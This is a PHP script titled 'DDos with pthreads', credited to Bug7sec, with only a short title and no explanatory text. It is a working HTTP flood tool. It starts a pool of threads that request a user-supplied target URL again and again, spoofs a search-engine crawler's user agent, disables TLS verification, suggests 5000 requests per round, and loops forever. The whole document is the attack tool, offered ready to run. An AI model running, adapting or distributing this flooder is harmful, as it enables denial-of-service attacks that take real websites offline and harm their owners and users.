DDos with pthreads

<?php
error_reporting(0);
set_time_limit(0);
/**
 * @Author: Bug7sec
 * @Date:   2017-06-13 10:59:22
 * @Last Modified by:   Bug7sec.org
 * @Last Modified time: 2017-06-13 23:57:26
 */
class My extends Thread{
    function __construct($url){
        $this->url = $url;
    }
    public function sdata($url , $custom , $delCookies = null){
        unlink("cookijem.txt");
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, false);
        if($custom[uagent]){
            curl_setopt($ch, CURLOPT_USERAGENT, $custom[uagent]);
        }else{
            curl_setopt($ch, CURLOPT_USERAGENT, "msnbot/1.0 (+http://search.msn.com/msnbot.htm)");
            //curl_setopt($ch, CURLOPT_USERAGENT, "Galau Agent ".rand(100,100));
        }
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,0);
        if($custom[rto]){
            curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
        }else{
            curl_setopt($ch, CURLOPT_TIMEOUT, 60);
        }
        if($custom[header]){
            curl_setopt($ch, CURLOPT_HTTPHEADER, $custom[header]);
        }
        curl_setopt($ch, CURLOPT_COOKIEJAR,  getcwd().'/cookijem.txt');
        curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookijem.txt');
        curl_setopt($ch, CURLOPT_VERBOSE, false);
        if($custom[post]){
            if(is_array($custom[post])){
                $query = http_build_query($custom[post]);
            }else{
                $query = $custom[post];
            }
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $query);
        }
        $data           = curl_exec($ch);
        $httpcode       = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        if($delCookies != false){
            unlink("cookijem.txt");
        }
        return array(
            'data'      => $data,
            'decode'    => json_decode($data , true),
            'httpcode'  => $httpcode
        );
    }
    public function readline($pesan){
        echo "[Checker] ".$pesan;
        $answer =  rtrim( fgets( STDIN ));
        return $answer;
    }
    public function clean($string) {
        $string = preg_replace('/\s+/', '', $string);
        $string = str_replace('-', '', $string);
        return preg_replace('/[^A-Za-z0-9@._\-]/', '', $string); // Removes special chars.
    }
    public function run(){
        $data = $this->sdata($this->url);
            if($data['data'] != "app_not_found"){
                echo "w00t => ".$this->url." => Success\r\n";
                exit;
            }else{
                echo "fail => ".$this->url." => Failed\r\n";
            }
            sleep(2);
    }
}
class Checker extends My
{
    public function ngerunning(){
        $url        = "https:// ? "; // target url
        $request    = 10; // recommend  5000

        for ($i=0; $i <$request; $i++) {
            $urlist[] = $url;
        }
        /** start mining **/
        foreach ($urlist as $key => $value) {
            echo "Worker ==> ".$key." of ".count($urlist)."\r\n";
            $pool[] = new My($value);
        }

        foreach($pool as $worker){
            $worker->start();
        }
        foreach($pool as $worker){
            $worker->join();
        }
    }
}
$n = new Checker;
while (1 <= 1000) {
    $n->ngerunning();
}
?>

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